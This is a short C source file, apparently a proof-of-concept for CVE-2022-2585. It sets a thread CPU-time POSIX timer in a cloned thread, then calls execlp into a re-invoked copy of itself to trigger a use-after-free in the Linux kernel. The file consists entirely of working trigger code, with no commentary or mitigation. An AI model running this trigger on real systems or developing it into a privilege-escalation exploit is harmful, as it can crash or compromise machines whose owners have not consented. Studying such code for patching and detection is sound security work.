CVE-2022-2585.c

#define _GNU_SOURCE
#include <sched.h>
#include <time.h>
#include <unistd.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

static int timer_uaf(void *d)
{
        timer_t tid;
        struct itimerspec its;

        its.it_interval.tv_sec = 3;
        its.it_interval.tv_nsec = 0;
        its.it_value.tv_sec = 3;
        its.it_value.tv_nsec = 0;
        timer_create(CLOCK_THREAD_CPUTIME_ID, NULL, &tid);
        timer_settime(tid, 0, &its, NULL);
        execlp("./poc", "poc1", NULL);
}

static char stack[8192];

int main(int argc, char **argv)
{
        timer_t tid;
        int i;

        if (!strcmp(argv[0], "poc1")) {
                sleep(2);
                exit(0);
        }

        if (fork() > 0) {
                waitpid(-1, NULL, 0);
                exit(0);
        }

        clone(timer_uaf, stack+4096, SIGCHLD | CLONE_VM | CLONE_SIGHAND | CLONE_THREAD, NULL, NULL, NULL);

        while(1);

        return 0;
}